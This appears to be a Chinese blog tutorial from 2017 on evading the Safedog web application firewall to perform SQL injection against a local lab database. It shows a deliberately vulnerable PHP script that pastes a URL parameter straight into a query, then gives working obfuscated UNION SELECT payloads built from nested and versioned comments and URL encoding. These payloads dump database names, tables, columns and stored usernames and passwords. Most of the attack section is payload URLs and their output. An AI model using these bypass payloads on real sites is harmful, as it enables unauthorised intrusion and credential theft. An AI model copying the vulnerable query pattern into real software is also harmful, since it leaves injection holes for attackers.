2017/09/03_Bypass_safedog_Sql注入
prat 1
本文大致内容
+ 思路以及想法
- 四重注释绕过safedog
+ 实战绕过
- 绕过and 1=1
- 绕过union+select
- 爆表
- 爆字段
- 读内容
prat 2
测试代码
$link = mysqli_connect('localhost','root','root','security');
$sql = "select * from users where id=".$_GET['id'];
$result = mysqli_query($link,$sql);
if($rows = mysqli_fetch_array($result)){
echo $rows['id'];
echo '
';
echo $rows['username'];
echo '
';
echo $rows['password'];
echo '
';
}
mysqli_close($link);
?>
prat 3
绕过 and 1=1
Url:url:http://192.168.1.107/sql.php?id=1 and 1=1

发现惨遭拦截,首先让我们来看一下他拦截什么,不拦截什么。
and 不拦截
and 1 拦截
and 1 = 拦截
and 1 = 1 拦截
由此可见,只要and后面出现数字或者成立一个等式那么他就拦截,那我们用/**/注释来绕过一下看看
/**/aNd/**//**/'a'/**/ = /**/'a'/**/
注释包含把1=1替换成‘a’=‘a’就得到了url:

返回不正常(等式不等)并且发现狗就不拦截了,可见注释方法还是如此任性
Order by


我发现我装的狗是不会拦截order by的,所以也就没绕,有需求在说。
字段为3,接下来爆库,当前用户。
绕过union+select
url:http://192.168.1.107/sql.php?id=1 UNION SELECT 1,2,3

同样,先看一下他拦截什么。
union 不拦截
select 不拦截
union select 拦截
很明显,我们只需要在union与select之间处理一下就可以了。
首先使用/!50000/注释包含/!/然后使用/**/与/–*/打乱一下结构,在稍微进行一下编码处理就可以了
url:http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,2,3)/*--*/*/-- -

可以发现,已经正常显示数字,并且狗没有拦截。 什么?你说没看懂?那么看下图

拆分一下就发现其实很好理解,使用()把select的内容包起来。
爆库
http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user(),database())/*--*/*/-- -

发现又特么拦截了,很明显,他会拦截一些常用系统函数(还有许多就不列出来了,列出常用的)
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
既然已经知道了拦截什么,那么绕他还难么,掏出/**/注释大法。
在user(),database()之间处理以下。
那么就成为了
user/**/(/**/)
database/**/(/**/)
完整url:
http://192.168.1.107/sql.php?id=-1/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user/**/(/**/),database/**/(/**/))/*--*/*/--
-

正常爆出数据库跟当前用户
爆表
发现我本身的狗可能有点问题,他不拦截from,于是也没有绕,还是那句话,需要啥,绕啥。
url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,table_name)),user/**/(/**/)
from information_schema.tables where table_schema='security')/*--*/*/ limit 0,1-- -

得到Table
emails
referers
uagents
Users
爆字段
url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,column_name)),user/**/(/**/)
from information_schema.columns where table_name='users')/*--*/*/ limit 0,1-- -

得到column
id
username
Password
读内容
url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,username,password)),user/**/(/**/)
from users)/*--*/*/ limit 0,1-- -

Dump
Dumb#Dumb